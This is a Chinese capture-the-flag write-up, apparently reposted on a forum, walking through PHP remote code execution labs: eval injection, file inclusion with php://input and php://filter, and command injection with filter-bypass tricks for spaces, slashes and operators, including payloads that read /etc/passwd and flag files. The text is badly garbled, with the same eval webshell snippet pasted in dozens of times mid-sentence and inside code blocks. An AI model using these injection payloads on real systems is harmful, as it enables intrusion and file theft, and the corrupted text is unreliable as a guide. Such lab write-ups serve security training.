弁言
题目共有如下类型
什么是RCE漏洞
RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行恣意代码
eval执行
分析源码:- <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?>
复制代码 执行命令查看当前目次
查看根目次或者上级目次一个一个查找- ?cmd=system("ls /");
- ?cmd=system("ls ../../../");
复制代码 发现flag文件
cat /flag_8751即可
文件包含
文件包含
源码审计- <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <hr>i have a [url=https://www.cnblogs.com/shell.txt]shell[/url], how to use it ? <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> //提示有个shell.txt文件,内容为
复制代码 利用文件包含读取shell.txt
先了解一下$_REQUEST函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。详细来说,$_REQUEST 变量包含了通过 GET、POST 和 COOKIE 方法传递的数据 ,所以可以利用POST或cookie传入ctfhub变量
查看根目次
查找flag
php://input
源码分析- <?php
- if (isset($_GET['file'])) { //检查是否存在file参数
- if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查参数前6位是否为 php:// ,是则执行
- include($_GET["file"]);
- } else {
- echo "Hacker!!!";
- }
- } else {
- highlight_file(__FILE__);
- }
- ?>
- // 给了应该phpinfo.php超链接
复制代码 查看phpinfo.php文件,发现此处
抓包构造命令执行,因为有php://input,故会执行传入的php代码
查看flag
这里也可以利用php伪协议,会得到一串base64加密的flag,解密即可
或者:
读取源代码
源码审计- i don't have shell, how to get flag? flag in /flag <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> //flag在根目次
复制代码 php伪协议读取flag- ?file=php://filter/read=/resource=/flag
复制代码
远程包含
源码审计- [/code]给了一个[b]phpinfo()[/b]界面,根据题目提示,还是文件包含题,抓包利用[b]php;//input[/b]读取
- 查看[b]根目次[/b]
- [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250208180906252.png[/img][/align]
- 读取[b]flag[/b]
- [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250208181001573.png[/img][/align]
- [size=5]命令注入[/size]
- [list]
- [*]这里需要了解一下常见的命令分隔符
- [*][b]; :[/b] 无论前面是否执行,后面都执行
- [*][b]||(逻辑或):[/b]前命令失败执行后命令,假如前命令成功则不执行后命令
- [*][b]| :[/b]前者结果作为后者参数使用
- [*][b]&& :[/b]前命令成功执行后命令,假如失败则不执行后命令
- [*][b]\n:[/b]换行符,url编码%0a
- [*][b]%0a[/b] <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> (换行)
- [*][b]%0d[/b] <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> (回车)
- [/list][size=4]无过滤[/size]
- 没有做任何过滤
- 先[b]ping[/b]一下
- [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209120831022.png[/img][/align]
- 查看[b]该目次[/b],使用 [b]127.0.0.1; ls[/b] 也是可以的
- [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209120910155.png[/img][/align]
- 查看[b]26398804916519.php[/b]
- [code]127.0.0.1 | cat 26398804916519.php
复制代码 发现flag
过滤cat
查看源码:- [/code]先查看当前目次,得到flag文件 <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> flag_11971489425983.php
- [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209123050233.png[/img][/align]
- 这里介绍几个绕过空格的方法
- [code]$IFS$9 <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> %09 <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> < <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> {cat,flag}
复制代码 可以绕过空格- $IFS$9 %09 <> < {cat,flag}
复制代码
过滤目次分隔符
几种常见的 / 符号绕过方法- 改变工作目次:cd xxx <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> 避免使用 / 符号环境变量截取: ${PATH:0:1} <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> ${HOME:0:1}编码绕过:8进制: $(printf "\57") <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> 16进制: $'\x2f' <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> $'\57'调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> cat <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> `echo /`etc`echo /`passwd通配符替换(部分路径已知):/???/cat /???/passwd <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> //匹配 /bin/cat利用反斜杠:cat \/etc\/passwd协议替换:file_get_contents('glob:///*');
复制代码 提示:

源码- [/code]查看当前目次
- [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209163512670.png[/img][/align]
- 进入该目次并查看
- [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209163601247.png[/img][/align]
- 执行以下命令读取flag文件
- [code]<?php
- $res = FALSE;
- if (isset($_GET['ip']) && $_GET['ip']) {
- $ip = $_GET['ip'];
- $m = [];
- if (!preg_match_all("/\//", $ip, $m)) { //过滤了 / 符号
- $cmd = "ping -c 4 {$ip}";
- exec($cmd, $res);
- } else {
- $res = $m;
- }
- }
- ?>
复制代码 得到flag
过滤运算符
查看源码,可以利用 ;绕过- [/code]查看当前目次
- [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209170350520.png[/img][/align]
- 执行以下命令
- [code]<?php
- $res = FALSE;
- if (isset($_GET['ip']) && $_GET['ip']) {
- $ip = $_GET['ip'];
- $m = [];
- if (!preg_match_all("/(\||\&)/", $ip, $m)) { //利用正则匹配过滤了 | 和 &
- $cmd = "ping -c 4 {$ip}";
- exec($cmd, $res);
- } else {
- $res = $m;
- }
- }
- ?>
复制代码 得到flag
综合过滤训练
源码审计- [/code]利用换行符[b]%0a绕过[/b]查看当前目次
- [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209171041032.png[/img][/align]
- 查看根目次,没有有用信息,flag应该存在[b]flag_is_here[/b]目次下
- [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209171243444.png[/img][/align]
- 执行以下命令
- [code]?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> //flag被过滤,需要绕过
复制代码
查看该flag- ?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php <?php
- if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
- eval($_REQUEST["cmd"]); //执行cmd传入的php代码
- } else {
- highlight_file(__FILE__);
- }
- ?> //绕过cat
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |